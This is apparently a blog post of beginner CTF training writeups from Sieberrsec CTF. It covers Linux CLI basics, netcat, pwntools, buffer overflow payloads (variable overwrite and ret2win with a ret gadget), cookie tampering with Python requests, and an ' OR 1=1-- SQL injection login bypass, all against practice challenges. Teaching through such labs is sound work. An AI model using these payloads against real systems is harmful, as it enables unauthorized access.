As part of the Sieberrsec CTF 6.0 OT, I was heavily involved in creating training materials for participants. While contextualised to SCTF, this guide can be used for any CTF.

Intended for beginners to CTFs, the guide starts with the basics of linux CLI before moving on to introductory concepts for each category. The training document given can be accessed here, and the github repo with challenge sources can be accessed here.


In this blog post, I will detail the solution writeups for the challenges I contributed. The challenges were a mix of original, recycled and modified CTF challenges.

I hope the training was helpful for at least a couple people :) If anyone has any questions/suggestions, feel free to contact me on discord at @enxgmatic.


General Skills

picoCTF 2019 - strings it (modified)

☑️ strings it (modified)

Practice your command line skills!

Run the file to get one part of the flag, and the other part without running it.

Concepts: wget, chmod, executables, strings, grep

Files given: strings

Author’s note

This challenge was selected as it tested a number of basic and important linux CLI commands.

However, I had edited the original picoCTF challenge to break the flag into 2 parts. While you could technically solve the original challenge without running the binary, I wanted to make sure participants learnt how to execute binaries.

Solution

  1. Download the file
# download the provided file
ctfplayer@enxgmatic:~$ wget https://github.com/Sieberrsec-CTF/Sieberrsec-CTF-2025-Public/raw/refs/heads/main/training/general-skills/strings-it/dist/strings

# verify it is present using "ls"
ctfplayer@enxgmatic:~$ ls
strings
  1. Give the challenge binary executable permissions
# when you try to run the executable directly, you will get an error
ctfplayer@enxgmatic:~$ ./strings
bash: ./strings: Permission denied

# this is because the binary does not have executable persmissions
# this can be shown by running "ls -la", where you will see that the binary's permissions is "rw-rw-r--", which do not include executable which is "x"
# (r=read, w=write, x=executable)
ctfplayer@enxgmatic:~$ ls -la
total 788
drwxrwxr-x 2 ctfplayer ctfplayer   4096 Jul  5 00:39 .
drwxrwxr-x 4 ctfplayer ctfplayer   4096 Jul  2 23:26 ..
-rw-rw-r-- 1 ctfplayer ctfplayer 798648 Jul  5 00:39 strings

# let's give the binary executable permissions using "chmod +x"
ctfplayer@enxgmatic:~$ chmod +x strings

# now, when you run "ls -la", the binary's permissions are now "rwxrwxr-x" aka it is now executable
ctfplayer@enxgmatic:~$ ./strings2
total 788
drwxrwxr-x 2 ctfplayer ctfplayer   4096 Jul  5 00:41 .
drwxrwxr-x 4 ctfplayer ctfplayer   4096 Jul  2 23:26 ..
-rwxrwxr-x 1 ctfplayer ctfplayer 798648 Jul  5 00:41 strings
  1. Run the binary for the first part of the flag
ctfplayer@enxgmatic:~$ ./strings
Congratulations! You have found the second part of the flag: "5tr1NgS_!?!}"
Maybe try the 'strings' function for the first part of the flag? Take a look at the man page.
The flag starts with the characters "sctf{".
  1. Run strings on the binary. However, there seems to be too much data. How can we find the first part of the flag…?
ctfplayer@enxgmatic:~$ strings strings
/lib64/ld-linux-x86-64.so.2
__cxa_finalize
__libc_start_main
setvbuf
stdout
puts
... 
...
...
.fini_array
.dynamic
.data
.bss
.comment
  1. Combine strings with grep to get the second part of the flag
# we can use the command "grep" to search for a specific pattern
# since we know the flag starts with "sctf{", we can grep for that pattern

# to combine grep with strings, we can use pipes, i.e. "|".
# as mentioned in the training document, pipes transfers the output of the previous command to be the input of the next command

ctfplayer@enxgmatic:~$ strings strings | grep sctf{
The flag starts with the characters "sctf{".
sctf{wUt_d4_
  1. Combine both parts of the flag to form sctf{wUt_d4_5tr1NgS_!?!}}

picoMini 2022 - Serpentine (modified)

☑️ Serpentine (modified)

Practice your command line skills, without using a GUI tool e.g. VS Code!

Find the flag in the Python script!

Hint: you do not need to reverse engineer the encryption scheme

Concepts: zip, python, vim/nano

Files given: serpentine.zip

Author’s note

This challenge was selected to teach participants about CLI text editors and python.

I edited the challenge to have the encrypted flag as a separate file flag_enc.txt rather than within the python script, so participants would learn to unzip in CLI.

Solution

  1. Download the provided file
# download the provided file
ctfplayer@enxgmatic:~$ wget https://github.com/Sieberrsec-CTF/Sieberrsec-CTF-2025-Public/raw/refs/heads/main/training/general-skills/serpentine/dist/serpentine.zip

# verify it is present using "ls"
ctfplayer@enxgmatic:~$ ls
serpentine.zip
  1. Unzip the file
# unzip the file
ctfplayer@enxgmatic:~$ unzip serpentine.zip
Archive:  serpentine.zip
 extracting: flag_enc.txt
  inflating: serpentine.py

# verify the zip file was unzipped
ctfplayer@enxgmatic:~$ ls
flag_enc.txt  serpentine.py  serpentine.zip
  1. Run the python script
ctfplayer@enxgmatic:~$ python3 serpentine.py

    Y
  .-^-.
 /     \      .- ~ ~ -.
()     ()    /   _ _   `.                     _ _ _
 \_   _/    /  /     \   \                . ~  _ _  ~ .
   | |     /  /       \   \             .' .~       ~-. `.
   | |    /  /         )   )           /  /             `.`.
   \ \_ _/  /         /   /           /  /                `'
    \_ _ _.'         /   /           (  (
                    /   /             \  \
                   /   /               \  \
                  /   /                 )  )
                 (   (                 /  /
                  `.  `.             .'  /
                    `.   ~ - - - - ~   .'
                       ~ . _ _ _ _ . ~

Welcome to the serpentine encourager!


a) Print encouragement
b) Print flag
c) Quit

What would you like to do? (a/b/c) b

Oops! I must have misplaced the print_flag function! Check my source code!
  1. Check the source code of serpentine.py by running cat serpentine.py
ctfplayer@enxgmatic:~$ cat serpentine.py
import random
import sys

def str_xor(secret, key):
    #extend key to secret length
    new_key = key
    i = 0
    while len(new_key) < len(secret):
        new_key = new_key + key[i]
        i = (i + 1) % len(key)
    return "".join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)])



def print_flag():
  with open('flag_enc.txt','r') as f:
    flag_enc = f.read()

  flag = str_xor(flag_enc, 'sieberr')
  print(flag)



def print_encouragement():
  encouragements = ['You can do it!', 'Keep it up!',
                    'Look how far you\'ve come!']
  choice = random.choice(range(0, len(encouragements)))
  print('\n-----------------------------------------------------')
  print(encouragements[choice])
  print('-----------------------------------------------------\n\n')



def main():

  print(
'''
    Y
  .-^-.
 /     \      .- ~ ~ -.
()     ()    /   _ _   `.                     _ _ _
 \_   _/    /  /     \   \                . ~  _ _  ~ .
   | |     /  /       \   \             .' .~       ~-. `.
   | |    /  /         )   )           /  /             `.`.
   \ \_ _/  /         /   /           /  /                `'
    \_ _ _.'         /   /           (  (
                    /   /             \  \\
                   /   /               \  \\
                  /   /                 )  )
                 (   (                 /  /
                  `.  `.             .'  /
                    `.   ~ - - - - ~   .'
                       ~ . _ _ _ _ . ~
'''
  )
  print('Welcome to the serpentine encourager!\n\n')

  while True:
    print('a) Print encouragement')
    print('b) Print flag')
    print('c) Quit\n')
    choice = input('What would you like to do? (a/b/c) ')

    if choice == 'a':
      print_encouragement()

    elif choice == 'b':
      print('\nOops! I must have misplaced the print_flag function! Check my source code!\n\n')

    elif choice == 'c':
      sys.exit(0)

    else:
      print('\nI did not understand "' + choice + '", input only "a", "b" or "c"\n\n')



if __name__ == "__main__":
  main()
  1. We can edit serpentine.py such that when we select choice b, the print_flag() function will run.

ℹ️ Note

It is highly encouraged for you to play around with vim/nano to become more comfortable with their commands!

# edit serpentine.py using the text editor of your choice
vim serpentine.py

# run the edited file
ctfplayer@enxgmatic:~$ python3 serpentine.py

    Y
  .-^-.
 /     \      .- ~ ~ -.
()     ()    /   _ _   `.                     _ _ _
 \_   _/    /  /     \   \                . ~  _ _  ~ .
   | |     /  /       \   \             .' .~       ~-. `.
   | |    /  /         )   )           /  /             `.`.
   \ \_ _/  /         /   /           /  /                `'
    \_ _ _.'         /   /           (  (
                    /   /             \  \
                   /   /               \  \
                  /   /                 )  )
                 (   (                 /  /
                  `.  `.             .'  /
                    `.   ~ - - - - ~   .'
                       ~ . _ _ _ _ . ~

Welcome to the serpentine encourager!


a) Print encouragement
b) Print flag
c) Quit

What would you like to do? (a/b/c) b
sctf{7h3_r04d_k1nd4_l355_7r4v3l3d_hM}

napping cat

☑️ napping cat

Find the napping cat! I heard he may have a flag if you treat him nicely. Connect to chal1.sieberr.live at port 12344 to find him.

Concepts: netcat

Author’s note

This challenge serves as an introduction to netcat by having players connect to a remote server. Netcat is a must-learn for CTF players and is often used in challenges, especially in pwn.

Solution

  1. What is netcat?

    • Netcat is a tool that lets you read and write data over the internet.
    • The syntax of netcat commands is nc [options] [destination] [port]
      • Destination is the target ip address or hostname
      • Port is the target port number
      • To see what options there are, run nc -h
  2. Install netcat (if needed)

  3. Connect to training.sieberr.live at port 12344

    • Run nc training.sieberr.live 12344 to connect to the challenge server.
    • You need to provide an input (y/n). Input n to get the flag. Inputting y or another value gives you a different output without the flag.
ctfplayer@enxgmatic:~$ nc training.sieberr.live 12344
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⣉⣙⣷⡦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢤⣴⠖⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣉⠛⠓⠶⢤⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⣽⡿⠟⠁⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠙⠛⠷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣤⣤⣤⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⡶⠶⠛⠉⠉⠉⠉⠁⠀⠀⠀⠀⠉⠙⠿⠓⠒⠶⢺⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢶⡶⠶⠶⠶⠖⠖⠛⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠘⣧⡀⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠈⠻⢤⣼⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢻⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⡀⢀⣿⡿⠶⠶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢸⡇⠀⣀⣀⠀⢀⣀⣤⡀⠀⠀⠀⠀⠸⠶⠶⠚⠛⠋⢹⣿⣿⣟⣉⠉⠒⠀⠻⣦⣠⣤⣤⣤⣄⣀⠀⠀
⠀⢀⣤⢾⣿⣷⣶⡍⠙⠙⠛⠋⠉⠀⠀⢴⡶⠀⠀⠀⠀⢀⣠⡶⠟⠛⠛⣷⠀⠉⠁⠀⠀⠈⣧⡀⠀⠩⣀⠈⢹⣆
⠀⣠⠔⢉⡴⢿⣿⡟⠛⠛⠛⠶⣤⣀⠀⠀⠀⠀⠀⠀⣴⡿⠋⠀⠀⠀⢀⡉⠀⠀⠀⠀⢀⣼⠛⠛⢛⣿⡿⠀⣾⡟
⠀⠁⣰⠋⢀⡿⠁⠀⠀⠀⠀⠀⠀⠉⠻⣦⡀⠀⠀⣼⠟⠀⠀⠀⢀⣠⣾⢁⣀⣤⣴⡶⠟⣁⣴⠞⠋⠉⢀⣼⣿⠁
⠀⠀⠉⠀⠈⠷⣄⡀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡗⠚⡏⠀⢀⣤⡶⠛⠋⠉⠉⠉⠉⠀⣠⣾⠟⢁⣀⣤⣶⣿⠟⠁⠀
⠀⠀⠀⠀⠀⠀⠀⠈⠉⠑⠲⠤⣄⣦⣤⡴⠞⠁⠀⠉⠙⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠹⠿⠾⠾⠟⠛⠁⠀⠀⠀⠀
Hi there! You found the napping cat.
Would you like to wake the cat up? (y/n)
> n
You are a nice human being. Here's the flag: sctf{n3tc4+_i5_n4pPin9}

ℹ️ Note

The training server (training.sieberr.live) is currently down. If you would like to setup this challenge locally, clone the github repo above and navigate to the napping-cat directory. Spin up the docker by running docker compose up -d, and run the command nc localhost 12344.

Pwn

Sieberrsec CTF 5.0 - Introduction to Pwntools

☑️ Introduction to Pwntools

This challenge serves as an introduction to pwntools, a python module frequently used to solve pwn challenges.

To install pwntools, do pip install pwntools.

We will be using pwntools in order to interact with the challenge here: nc chal1.sieberr.live 10002.

In this challenge, you will be solving mathematical equations. More information is found when you connect to the remote instance.

Common pwntools commands

Please refer to the cheatsheet here to learn more about pwntools: https://enxgmatic.github.io/ctf/pwntools-cheatsheet/

Also, I recommend simply googling by yourself too :)

Other notes

Pwntools is also used in other categories, such as crypto, in order to interact with a remote instance.

Other tools needed to solve the other pwn challenges: gdb, gef (an extension to gdb), pwndbg (an alternative to gef)

Author’s note

This was a reused challenge from the previous edition of Sieberrsec CTF. As the challenge name suggests, it is meant to introduce beginners to pwntools, which is necessary when scripting with remote challenges (especially in pwn).

Solution

💡 Tip

Refer to solution.py for the solve script, and intro.c for source.

Connecting to challenge via netcat, we see this:

Welcome to the introduction to pwntools exercise!
In this exercise, your goal is to earn a total of 50 points.

We will be providing you with 2 numbers, and you should use pwntools and python to multiply the 2 numbers together.
A correct answer will garner you 1 point.
n1: 669
n2: 56
What is the value when n1 is multiplied by n2?

Basically, the goal of this challenge is to multiply the 2 given numbers (n1 and n2) together.

To do so, we can use pwntools.

for i in range(50):
    # get n1
    io.recvuntil(b'n1: ')
    n1 = int(io.recvline())
    # get n2
    io.recvuntil(b'n2: ')
    n2 = int(io.recvline())

    # calculate n1 * n2
    print(n1,n2)
    output = n1 * n2

    # send n1 * n2 as input
    io.sendline(str(output))

io.interactive()

Sieberrsec CTF 5.0 - Headquarters

☑️ Headquarters

Welcome to the Sieberrsec headquarters. What is your name?

Files given: headquarters.zip

Author’s note

Another recycled challenge from SCTF 5.0, this introduces buffer overflow to participants in the form of variable overwrite.

Solution

💡 Tip

Refer to headquarters-solve.py for the solve script.

gets, which is used to receive user input into the variable name, allows for input of an unlimited length.

That means even though the char name[8] variable has only a size of 8 bytes, when we do gets(name), we can write more than 8 bytes.

This can lead to a buffer overflow vulnerability, where the amount of data written to the buffer (the variable) exceeds its storage capacity.

Reference page:
The gets() function does not perform bounds checking, therefore this function is extremely vulnerable to buffer-overflow attacks. It cannot be used safely (unless the program runs in an environment which restricts what can appear on stdin). For this reason, the function has been deprecated in the third corrigendum to the C99 standard and removed altogether in the C11 standard. fgets() and gets_s() are the recommended replacements.

This is how the stack looks like:

top of stack
----------------
| char name[8] | < 8 bytes
---------------- 
|  admin_key   | < 4 bytes
----------------
bottom of stack

If we input more than 8 characters as input into name, we can overflow into the admin_key variable, and modify its value.

  • E.g. if we input 12 As, then admin_key = AAAA (0x41414141).

So, to make admin_key = 0xdeadbeef, we need this to be our payload:

payload = b'A'*8 # fill up the `name` buffer
payload += p32(0xdeadbeef) # overwrite `admin_key` to 0xdeadbeef. p32 formats our value to 4 bytes LSB.

io.sendline(payload) # get the flag

Sieberrsec CTF 5.0 - Headquarters Improved

☑️ Headquarters Improved

After the recent break ins into our headquarters, we have improved our security.

Files given: headquarters-improved.zip

Author’s note

The second part to the previous challenge, this expands buffer overflow to ret2win.

Note: there is actually a third part to the challenge not included in the training, Headquarters Mega Improved. It tests ret2win with canary and PIE enabled.

Solution

💡 Tip

Refer to headquarters-improved-solve.py for the solve script.

The same gets() vulnerability exists, same as per headquarters. However, this time our goal isn’t to overwrite a variable. Our goal is to perform ret2win and overwrite the return address to the admin() function, which will give us the flag.

The stack looks like this:

top of stack
--------------------------------
|         char name[32]        | < 32 bytes
--------------------------------
|  return based pointer (rbp)  | < 8 bytes
--------------------------------
|  saved return pointer (rip)  | < 8 bytes
--------------------------------
bottom of stack

This time, we need an input with a length greater than 32 in order to overflow into the RBP and RIP. In this challenge, we are only concerned about the RIP.

The saved RIP stores the address of the next instruction to execute upon returning from a function (i.e. return).

We can overwrite this value to the address of admin().

ℹ️ Note

PIE is not enabled in this binary, so we are able to directly jump to win() without a leak. If PIE was enabled, our binary would get loaded into a randomized memory address each run, and we would have required a leak.

Thus, the payload is like this:

payload = b'A'*32 # fill up the `name` buffer
payload += b'B'*8 # fill up the RBP
payload += p64(elf.sym.admin) # overwrite RIP to point to admin()

However, when running that, we get an error, which we can analyse further using gdb:

Program received signal SIGSEGV, Segmentation fault.
0x00007f0444df2973 in __sigemptyset (set=<optimized out>) at ../sysdeps/unix/sysv/linux/sigsetops.h:54
54      ../sysdeps/unix/sysv/linux/sigsetops.h: No such file or directory.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0
$rbx   : 0x000000000040202b  →  "cat flag.txt"
$rcx   : 0x00007f0444eb6887  →  0x5177fffff0003d48 ("H="?)
$rdx   : 0x1
$rsp   : 0x00007ffd41842158  →  0x0000000000000001
$rbp   : 0x00007ffd41842518  →  "BBBBBBBB"
$rsi   : 0x1
$rdi   : 0x000000000040202b  →  "cat flag.txt"
$rip   : 0x00007f0444df2973  →  <do_system+115> movaps XMMWORD PTR [rsp], xmm1
$r8    : 0x00007f0444fbea70  →  0x0000000000000000
$r9    : 0x7fffffff
$r10   : 0x00007f0444daf5a8  →  0x000f002200002ab7
$r11   : 0x00007f0444df2d70  →  <system+0> endbr64
$r12   : 0x00007ffd41842628  →  0x00007ffd41842fe8  →  "/home/ctfplayer/ctf-creations/sctf6/training/headq[...]"
$r13   : 0x00007f0444fbe7a0  →  0x0000000000000000
$r14   : 0x00007f0444fbe840  →  0x0000000000000000
$r15   : 0x00007f0445020040  →  0x00007f04450212e0  →  0x0000000000000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
───────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffd41842158│+0x0000: 0x0000000000000001   ← $rsp
0x00007ffd41842160│+0x0008: 0x000000000040202b  →  "cat flag.txt"
0x00007ffd41842168│+0x0010: 0x00007f0444fbea70  →  0x0000000000000000
0x00007ffd41842170│+0x0018: 0x00000000ffffffff
0x00007ffd41842178│+0x0020: 0x000000000000000d ("\r"?)
0x00007ffd41842180│+0x0028: 0x00007f0444fe4160  →  0x00007f0444da2000  →  0x03010102464c457f
0x00007ffd41842188│+0x0030: 0x00007f0444fbc1b8  →  0x00007f0445001660  →  <_dl_audit_preinit+0> endbr64
0x00007ffd41842190│+0x0038: 0x00000000004011ce  →  <main+0> endbr64
─────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f0444df2950 <do_system+80>   mov    QWORD PTR [rsp+0x180], 0x1
   0x7f0444df295c <do_system+92>   mov    DWORD PTR [rsp+0x208], 0x0
   0x7f0444df2967 <do_system+103>  mov    QWORD PTR [rsp+0x188], 0x0
 → 0x7f0444df2973 <do_system+115>  movaps XMMWORD PTR [rsp], xmm1
   0x7f0444df2977 <do_system+119>  lock   cmpxchg DWORD PTR [rip+0x1cbe01], edx        # 0x7f0444fbe780 <lock>
   0x7f0444df297f <do_system+127>  jne    0x7f0444df2c30 <do_system+816>
   0x7f0444df2985 <do_system+133>  mov    eax, DWORD PTR [rip+0x1cbdf9]        # 0x7f0444fbe784 <sa_refcntr>
   0x7f0444df298b <do_system+139>  lea    edx, [rax+0x1]
   0x7f0444df298e <do_system+142>  mov    DWORD PTR [rip+0x1cbdf0], edx        # 0x7f0444fbe784 <sa_refcntr>
─────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "headquarters2", stopped 0x7f0444df2973 in __sigemptyset (), reason: SIGSEGV
───────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f0444df2973 → __sigemptyset(set=<optimized out>)
[#1] 0x7f0444df2973 → do_system(line=0x40202b "cat flag.txt")
[#2] 0x4011cb → admin()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

Basically, the instruction causing the sigsegv is movaps XMMWORD PTR [rsp], xmm1. This is a common error that can occur when the memory address referenced in the instruction is not 16 bytes-aligned (in this case, rsp = 0x00007ffd41842158 which is not 16 bytes aligned).

Thus, to fix that, we can add a ret gadget (aka an address which points to a ret instruction). Doing so will enable rsp to be 16 bytes aligned.

# to find the gadget
ropper -f headquarters2 

# in the output find this:
0x000000000040101a: ret;

Final payload:

payload = b'A'*32 # fill up the `name` buffer
payload += b'B'*8 # fill up the RBP
payload += p64(0x40101a) # ret for stack alignment issues
payload += p64(elf.sym.admin) # overwrite RIP to point to admin()

Web

picoCTF 2022 - Local Authority

☑️ Local Authority

Can you get the flag?

Author’s note

This challenge was selected to teach participants about inspector in a manner that isn’t searching for hidden html / a html comment.

Solution

Pull up the inspector (right click > Inspect) on your web browser. Then, input random credentials and log in.

Notice that there are a couple of requests, of which one is to secure.js

Click into secure.js and check the response.

function checkPassword(username, password)
{    
  console.log(username);
  console.log(password);
  if( username === 'admin' && password === 'strongPassword098765' )
  {
    return true;
  }
  else
  {
    return false;
  }
}

Realise that credentials have been hard coded. Thus, log in with username as admin and password as strongPassword098765 to get the flag.


☑️ Power Cookie

Can you get the flag?

Author’s note

This was selected to introduce participants to modifying cookies.

Solution

Given the name of the challenge, it likely involves cookies.

When you click the ‘Continue as guest’ button, you are redirected to /check.php and is shown We apologize, but we have no guest services at the moment.

Go back to the previous page. Open the inspector tab (right click > Inspect) on your web browser.

Under sources or debugger (may vary depending on web browser), notice that there is a guest.js file. Click to view it.

function continueAsGuest()
{
  window.location.href = '/check.php';
  document.cookie = "isAdmin=0";
}

That means when you click the button to ‘Continue as guest’, they will set your cookie to be isAdmin=0.

It can then be inferred thaat to get the flag, we need our cookie to be isAdmin=1. So, let’s modify our cookie!

This can be done in a multiple of ways:

  1. Use a browser extension (e.g. Cookie Editor for firefox).
    • Simply modify the cookie value to 1 and refresh the page to get the flag.

  1. Use burpsuite to modify your request. This is left as an exercise for the reader.

  2. Use python requests (refer to power-cookie-solve.py)

    • This script requests /check.php with a cookie of isAdmin=1
import requests

url = 'http://chal1.sieberr.live:10011/check.php'

cookies = {'isAdmin':'1'}

r = requests.get(url, cookies=cookies)
print(r.text)

Sieberrsec CTF 5.0 - Sieberrsec Query Lobby

☑️ Important

I heard that if you can log in as admin, they will give you a free flag.

Files given: sieberrsec-query-lobby.zip

Author’s note

This is a very basic SQL injection login challenge. SQLi is usually the first web vulnerability taught due to its simplicity.

For a further extention to this challenge, I highly recommend checking out portswigger’s SQL injection labs to learn about different SQL injection techniques.

Solution

SQL is a language used for database management. Our goal is to log in as admin in order to get the flag.

In app.py, there is a SQL injection vulnerability:

  • This occurs because our input (username and password) are directly inserted in our query.
with sqlite3.connect('database.db') as conn:
    cur = conn.cursor()
    query = f"SELECT username FROM users WHERE username='{username}' AND password='{password}'"
    
    try:
        cur.execute(query)
        found = cur.fetchone()
    except (sqlite3.Error,sqlite3.Warning) as e:
        return f'Login unsuccessful. Error attained: {e}', query
    except:
        return f'Login unsuccessful. Error attained.', query

What happens if we input our username as admin and our password as ' (a single quote)?

SELECT username FROM users WHERE username='admin' AND password='''

-- > output: Login unsuccessful. Error attained: unrecognized token: "'''"

This is due to the syntax error of having '''. However, more importantly, it shows that our input can be interpreted as part of the SQL command.

Thus, we should begin our password input with a single quote ' to close the password='' string. Now, behind it, we can inject our own commands.

SELECT username FROM users WHERE username='admin' AND password='' <we can input our own sql commands here>

Since our goal is to simply bypass the password chat, let password be ' OR 1=1.

  • This means the query is checking whether admin’s password == '' (NULL) or 1=1. Since 1 is always equal to 1 (aka it is always true), the query condition always returns True.
SELECT username FROM users WHERE username='admin' AND password='' OR 1=1'

-- > output: Login unsuccessful. Error attained: unrecognized token: "'"

However, we still get an error. This is referring to the syntax error of the final single quote ' at the very end of the query. Let’s add a SQL comment -- at the end of our payload to remove the ending single quote (as everything after the comment will be ignored)

SELECT username FROM users WHERE username='admin' AND password='' OR 1=1--'

-- > output: Welcome back admin, here is the flag: sctf{w41+_h0w_d1_y0u_g3t_1n}

TL;DR Input your username as admin and password as ' OR 1=1--.